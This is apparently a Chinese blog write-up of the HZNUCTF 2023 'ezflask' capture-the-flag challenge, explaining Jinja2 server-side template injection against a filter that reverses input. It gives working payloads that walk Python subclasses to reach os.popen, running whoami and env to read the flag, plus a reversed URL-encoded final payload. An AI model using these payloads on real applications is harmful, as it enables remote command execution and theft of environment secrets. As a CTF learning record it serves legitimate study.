HZNUCTF-ezflask

最近做到的一道ssti注入题目,复现一下

参考博客:(2条消息) Jinja2模板注入_搬砖没有未来的博客-CSDN博客

HZNUCTF2023初赛 (yuque.com)

打开环境,发现要求上传一个name参数

试一试name=1,发现可以正常回显;name=604,发现传入的值反过来了

 

 

根据题目名猜测这里存在ssti,尝试name=}}2*2{{ ,回显4存在ssti注入,判断是jinja2的模板

这里可以发现他唯一的过滤,是payload要进行倒叙

 

1.使用str,list,tuple,dict中的一种去获取内置类:"".class

2.获取object基类:使用mro获取 "".class.mro这样先查看获取到的数据,确定object类在list中的第几个

 

 

 

 3.获取子类列表,找到ob类之后取调用他的os类:

"".__class__.__base__.__subclasses__()
"".__class__.__bases__[0].__subclasses__()   使用这个
"".__class__.__mro__[1].__subclasses__()

发现其中有<class '_frozen_importlib.BuiltinImporter'>存在,因此我们靠这个类经行命令执行

找到他所在的位置,搞个python脚本

# flask-SSTI之查询subclasses子类位置

with open('2.txt','r') as f:
    file = f.read().split(", ")

for i in range(0,len(file)):
    if file[i] == "<class '_frozen_importlib.BuiltinImporter'>":
        print(i)
        break

 4.找到其位置,发现是在84

5.然后进行命令执行,最后发现flag是在env中的

{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__.__import__('os').popen('whoami').read()}}
num的具体数值根据shell类在subclasses中index确定(注意index是从0开启计数)

我们使用这句payload:【注意在BP中使用符号要url编码后再传】

{{''.__class__.__bases__[0].__subclasses__()[84]["load_module"]("os")["popen"]("env").read()}}             转化后:

?name=%7D%7D)(daer.)%22vne%22(%5D%22nepop%22%5B)%22so%22(%5D%22eludom_daol%22%5B%5D48%5B)(__sessalcbus__.%5D0%5B__sesab__.__ssalc__.''%7B%7B

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值